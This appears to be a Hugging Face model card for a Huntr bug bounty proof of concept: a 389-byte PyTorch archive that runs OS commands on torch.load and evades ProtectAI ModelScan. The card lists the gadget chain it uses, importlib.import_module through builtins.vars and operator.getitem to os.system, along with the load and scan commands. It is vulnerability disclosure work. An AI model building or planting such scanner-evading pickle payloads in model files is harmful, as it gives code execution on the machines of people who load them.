You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

PyTorch Archive ACE Scanner Bypass PoC

Huntr Bug Bounty - Model File Formats (PyTorch Archive / ProtectAI ModelScan)

bypass_v5.pt is a 389-byte malicious PyTorch archive (.pt) that:

Executes arbitrary OS commands via torch.load(weights_only=False)
Passes ProtectAI ModelScan v0.8.8 PickleUnsafeOpScan with zero detections (total_issues: 0, exit 0)

import torch
result = torch.load('bypass_v5.pt', weights_only=False)
# ACE fires, os.system returns 0

modelscan scan -p bypass_v5.pt -r json
# result: total_issues=0, issues=[], exit 0

importlib.import_module -> builtins.vars -> operator.getitem -> os.system

None of these GLOBALs appear on ModelScan's PickleUnsafeOpScan blocklist.

Downloads last month: -; Downloads are not tracked for this model. How to track

Inference Providers NEW

This model isn't deployed by any Inference Provider. 🙋 Ask for provider support